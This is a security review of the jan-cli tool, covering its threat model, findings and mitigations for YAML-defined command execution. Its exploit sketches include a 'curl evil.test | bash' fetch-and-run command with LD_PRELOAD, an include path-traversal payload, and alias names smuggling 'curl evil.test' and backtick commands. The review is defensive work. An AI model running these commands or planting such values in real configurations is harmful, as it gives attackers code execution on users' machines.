jan-cli 0.24.0

YAML-defined CLI trees with progressive help, optional exec aliases, merged extra specs, and SQLite audit logging keyed by git branch
Documentation
# Security review: jan-cli (`jan`)

**Scope:** `jan-cli` binary, YAML loaders, `jan use` / `bundle` / `alias` / inspection builtins, inlined runners in preferred trees, and `scripts/jan-install.sh`.  
**Date:** 2026-08-05  
**Stance:** Critical. This document treats “works as designed” as still a finding when the design is dangerous by default.

---

## Executive summary

`jan` is not a constrained command runner. It is a **YAML-defined process launcher**: any preferred tree (`jan use`) can define arbitrary `exec.argv`, arbitrary environment variables (including `PATH` / `LD_PRELOAD`), and nested `include:` files. After `jan use`, every subsequent `jan <cmd>` trusts that tree **with no integrity check, signature, or confirmation**.

The primary guides now state that trust boundary explicitly. The project still
depends on **unmaintained `serde_yaml` / `unsafe-libyaml`**.

If you install someone else’s scripts bundle and run `jan use` on it, you have given them code execution under your user account. Treat preferred directories like shell startup files or `PATH` entries you do not control.

---

## Threat model

| Actor | Goal | Realistic? |
|-------|------|------------|
| User running own tree | Accidental footgun | Yes |
| Author of a shared / downloaded bundle | Remote code execution as the user who `jan use`s it | Yes — **primary threat** |
| Local unprivileged attacker with write access to preferred dir, `JAN_CONFIG_DIR`, or `~/.config/jan-cli` | Persist code execution whenever victim runs `jan` | Yes on shared machines / weak home perms |
| Attacker able to supply a jan bundle | Supply malicious executable specs; manifest hashes do not prove authorship | Yes |
| Network attacker with no local foothold | Direct RCE via `jan` alone | No for local-only trees — no network listener. Remote `jan use` / `include` / `exec.url` require a named URL + SHA256; TLS MITM without the hash cannot substitute content. Supply-chain / social engineering still required. |

**Assets:** user shell, files writable by the user, secrets in env / cwd, audit DB contents, git worktrees under `--cwd`.

**Non-goals of current design:** sandboxing, least privilege, verified provenance, multi-tenant safety.

**Remote fetch (0.11+):** `jan use <https-url> --sha256`, remote `include: {url, sha256}`, and
`exec.url`/`exec.sha256` download into `~/.cache/jan/`. Hashes are mandatory and HTTPS is
default. This reduces accidental curl-pipe risks but does **not** authenticate publishers;
preferring a remote tree is still sticky arbitrary code execution (see C1).

---

## Findings

### Critical

#### C1 — Preferred YAML tree is arbitrary code execution

**Where:** `src/lib.rs` (`run_matched`), `src/deps.rs` (`collect_chain_env`, `resolve_path_prefixes`), inlined `exec.argv` under preferred trees such as `dotfiles/jan`

**Issue:** A command leaf runs `Command::new(argv[0])` with argv and env taken from YAML. Specs routinely use `bash -lc '…'` with **inlined script bodies** and `passthrough: true`. Spec `env:` can set `PATH`, `LD_PRELOAD`, `DYLD_*`, `BASH_ENV`, etc. Spec `path:` / `dependencies:` prepend directories onto `PATH` **before** spawn, so a tree can ship a fake `bash` / `python3` that shadows the system binary.

**Exploit sketch:**

```yaml
commands:
  pwn:
    env:
      LD_PRELOAD: /tmp/evil.so
    exec:
      argv: ["bash", "-lc", "curl evil.test | bash"]
```

Victim: `jan use /path/to/tree` then `jan pwn` (or any alias pointing at it).

**Why this is worse than “scripts are code”:** After `jan use`, the danger is **sticky and invisible**. `jan --help` looks like a friendly command catalog; it does not warn that leaves are unsandboxed executors. Aliases (`jan alias`) further normalize malicious leaves into short names in the user’s shell.

**Mitigations (partial):** Prefer `env.private` for secrets (names only in YAML; values copied from the host). When `env` is non-empty, the child environment is cleared and rebuilt from an essential allowlist plus declared public/private vars, reducing accidental leakage of unrelated host secrets. Still block or warn on dangerous public keys (`LD_PRELOAD`, …).

---

#### C2 — `include:` path escape (**fixed 2026-08-05**)

**Where:** `src/spec_load.rs` — `resolve_under`

```117:126:jan-cli/src/spec_load.rs
fn resolve_under(base_dir: &Path, rel: &str) -> Result<PathBuf> {
    let p = Path::new(rel);
    let full = if p.is_absolute() {
        p.to_path_buf()
    } else {
        base_dir.join(p)
    };
    full.canonicalize()
        .with_context(|| format!("include path not found: {}", full.display()))
}
```

**Former issue:** Absolute paths and `../` traversal were allowed when **loading** the preferred tree. Anchor enforcement existed only in `yaml_closure` for **`jan bundle`**, not for normal `jan` execution.

**Exploit sketch:** A “small” preferred directory contains:

```yaml
commands:
  innocent:
    include: /home/victim/.config/jan-evil/payload.yaml
# or: include: ../../../../tmp/jan-payload.yaml
```

Reviewing the preferred dir’s own files is insufficient; execution can pull YAML (and thus `exec`) from elsewhere on the filesystem the user can read.

**Resolution:** All links now resolve from the root selected by `jan use`.
Absolute links and `..` components are rejected, and the canonical target must
remain under the root, preventing symlink escapes. Normal loading and bundling
apply the same rule.

---

#### C3 — `jan alias` shell injection (**fixed 2026-08-05**)

**Where:** `src/builtins.rs` — `emit_shell_aliases`

**Former issue:** The RHS was single-quoted (`shell_single_quote`), but the
**alias name was interpolated raw**:

```text
alias {name}='jan …'
```

YAML / tree command names are not restricted to `[A-Za-z_][A-Za-z0-9_]*`. A leaf named `x;curl evil.test;#` or `` x`id` `` produces a sourced line that runs attacker code when the user `source`s the generated aliases file.

Command-chain elements and `--jan-bin` were also joined before quoting, leaving
shell metacharacters active when the alias expanded.

**Resolution:** Alias names must match
`[A-Za-z_][A-Za-z0-9_-]*`; generation fails closed for unsafe names. Every RHS
argv element, including `--jan-bin` and each command-chain segment, is now
single-quoted independently before the complete alias value is quoted.

---

#### C4 — `jan-install.sh` zip slip / unpack trust (**fixed 2026-08-05**)

**Where:** `scripts/jan-install.sh`

```bash
unzip -o "$ZIP" -d "$INSTALL_DIR"
```

**Former issue:** No member path validation allowed a crafted ZIP to write
outside `$INSTALL_DIR` (classic zip slip). The script then automatically ran
`jan use "$INSTALL_DIR"` when `jan` was on `PATH`.

**Resolution:** The installer now uses Python's ZIP reader and rejects absolute,
parent, non-canonical, duplicate, symlink, special, unlisted, and oversized
members. It verifies every manifest-listed file's SHA-256 and size before an
atomic directory replacement. It no longer runs `jan use`; the user must opt in
after extraction.

**Residual risk:** The manifest is not signed. Hash verification detects
corruption or archive/manifest inconsistency, not a malicious bundle author.
Bundles remain equivalent to installing executable code.

---

### High

#### H1 — Unmaintained YAML stack (`serde_yaml` / `unsafe-libyaml`)

**Where:** `Cargo.toml` → `serde_yaml = "0.9"` (lockfile: `0.9.34+deprecated`, `unsafe-libyaml 0.2.11`)

**Issue:** Upstream `serde_yaml` is deprecated/unmaintained (`RUSTSEC-2024-0320` class advisories). Parsing attacker-controlled YAML is a core trust boundary. Even with 0.9.34’s recursion fix, continuing on an abandoned + `unsafe` C-backed stack is an unjustified risk for a tool whose main input is YAML from third parties.

**Mitigation:** Migrate to a maintained pure-Rust YAML crate; cap document size / depth; optionally reject YAML aliases entirely.

---

#### H2 — `PATH` mutation after `requires` check (TOCTOU / shadowing) (**fixed 2026-08-05**)

**Where:** `src/lib.rs` `run_matched`; `src/deps.rs` `resolve_program`

**Former issue:** `requires` was validated against the **current** process `PATH`, then jan
prepended spec `path` / dependency directories and spawned the bare name in
`argv[0]` (often `bash`). A spec directory could therefore supply a different
`bash` than the one `which` found moments earlier.

**Resolution:** `argv[0]` is now resolved to a concrete path *before* the child
`PATH` is built, and the lookup prefers the PATH jan inherited — the same PATH
`requires` was checked against. Spec directories are consulted only when the host
provides no such program, where nothing is being shadowed. An `argv[0]`
containing a path separator is still honoured verbatim (an explicit choice by the
spec author), and an unresolvable program now fails before spawn.

**Residual risk:** Spec `env:` can still set variables that change interpreter
behaviour (`BASH_ENV`, `LD_PRELOAD`, `PYTHONPATH`). Absolute-path resolution
prevents binary substitution, not loader- or shell-level influence. This remains
part of C1: a spec you `jan use` runs as you.

---

#### H3 — Sticky preference without provenance

**Where:** `src/config.rs`, `src/runner.rs` `resolve_preferred_spec`

**Issue:** `~/.config/jan-cli/config.json` stores an absolute `jan_dir`. Anyone who can write that file (or control `JAN_CONFIG_DIR`) redirects all future `jan` invocations. There is no recorded content hash, signing key, or “tree changed since last use” warning.

**Mitigation:** Store and verify a tree digest on each run; warn on mismatch; restrict config file permissions in docs and optionally `chmod 0600` on write.

---

### Medium

#### M1 — Audit log is not a security control (and may leak secrets)

**Where:** `src/lib.rs` `log_invocation`

Invocations store full `argv_json`, cwd, branch, and spec identity in SQLite (`JAN_DB` / default under XDG). With `passthrough: true`, **secrets passed on the CLI** (tokens, passwords) are persisted. DB creation uses default umask (often world-readable on multi-user hosts). Logs are not integrity-protected (local attacker can delete/alter rows).

Treat the audit DB as **privacy-sensitive telemetry**, not as non-repudiation.

---

#### M2 — Platform filter bypass via `JAN_OS`

**Where:** `src/spec_load.rs` `HostPlatform::detect`

`JAN_OS` overrides the host platform used for `os:` filtering. A caller can reveal or run commands marked for another OS. Low direct impact (same-user), but it weakens any assumption that `os: [windows]` nodes are unavailable on Linux.

---

#### M3 — Large inlined `bash -lc` payloads

**Where:** personal trees such as `dotfiles/jan/*.yaml`

Inlined runners embed full script source in YAML strings executed via `bash -lc`. Heredoc delimiters are content-hashed (good). Residual risks: enormous argv strings, reliance on `mktemp` + `chmod +x`, and the same PATH/`env` issues as C1. Editing or compromising a preferred tree is a **content supply chain**: every `jan use` consumer of that tree is affected.

---

#### M4 — No resource limits on spec load

Deep `include:` graphs, huge YAML, or many commands can cause high CPU/memory use (DoS against the local user / CI). Bundle closure walks are bounded by filesystem, but load has no explicit depth/size caps.

---

### Low

#### L1 — `cwd` fully controlled

`--cwd` sets the child working directory. Combined with relative script assumptions, this is a footgun and a way to make a leaf operate on unexpected trees. Expected for a CLI; document it.

#### L2 — Help / metadata can social-engineer

Root `metadata.description` and `about` fields are attacker-controlled text shown by `jan --help`. They can instruct users to run dangerous leaves. Cosmetic but effective against hurried operators.

#### L3 — Docs historically described weaker boundaries (**fixed 2026-08-05**)

**Former issue:** Older docs and comments presented removed direct-spec and
well-known-directory resolution modes as current. Installation text also
described verified extraction as “safe” without distinguishing integrity from
publisher authentication or warning that `jan use` persistently trusts
executable YAML.

**Resolution:** The README and portable-bundle guide now describe preferred
trees as unsandboxed executable code, distinguish manifest integrity from
publisher trust, require an explicit review/activation step, and link to this
threat model. Historical implementation summaries have been replaced with
current-behavior notices, the changelog labels obsolete behavior as historical,
and stale source comments referencing removed flags are gone.

---

## What is done reasonably well

- Load and bundle both resolve `include:` from the `jan use` root and reject absolute paths, `..`, and symlink escapes.
- Alias names are validated and every RHS argv element is shell-quoted independently.
- Bundle installation validates member paths/types, verifies manifest hashes and sizes, and replaces the target atomically.
- `exec.argv[0]` resolves against jan's inherited `PATH`, so spec `path:` / `dependencies` entries cannot substitute a system interpreter.
- Heredoc delimiter generation in the Python generator avoids naive delimiter injection.
- `requires` empty-name skip and basic dependency cycle detection exist (correctness, not sandboxing).
- SQLite inserts use bound parameters (no SQL injection from argv content).

---

## Risk matrix (condensed)

| ID | Severity | Theme |
|----|----------|--------|
| C1 | Critical | YAML/`exec` = unsandboxed code; sticky via `jan use` |
| C2 | Fixed | `include:` is root-relative and confined to the use tree |
| C3 | Fixed | Alias names validated; every RHS argv element shell-quoted |
| C4 | Fixed | Safe verified extraction; no automatic `jan use` |
| H1 | High | Unmaintained YAML parser stack |
| H2 | Fixed | `argv[0]` resolved on inherited PATH before spec dirs apply |
| H3 | High | Config redirect / no tree integrity |
| M1–M4 | Medium | Audit leakage, `JAN_OS`, supply chain, DoS |
| L1–L2 | Low | cwd and help social engineering |
| L3 | Fixed | Current docs state the persistent executable-code trust boundary |

---

## Recommendations (priority order)

1. **Document the trust model in-product:** on `jan use`, print a clear warning that the directory can run arbitrary commands as the user; require `--i-understand` or similar for non-TTY automation.
2. **Sign bundles:** manifest hashes provide integrity but no publisher authentication.
3. **Replace `serde_yaml`** with a maintained parser; add max depth/size limits.
4. **Spawn hardening (partial):** interpreters now resolve on the inherited `PATH` before spec directories apply; still block or warn on dangerous `env` keys (`LD_PRELOAD`, `PATH`, `DYLD_*`, `BASH_ENV`, `SHELL`).
5. **Record and verify a content hash** of the preferred tree (or root YAML + closure) in `config.json`.
6. **Audit log:** default to user-only file mode; document secret leakage via passthrough argv; consider redaction or opt-in logging only.

---

## Reporting

This file is an engineering review, not a vulnerability disclosure channel. For production use of third-party jan bundles, assume compromise until the mitigations above exist.

**Bottom line:** Do not `jan use` a directory you would not add to your `PATH` or `source` as a shell script. Today, those actions are equivalent.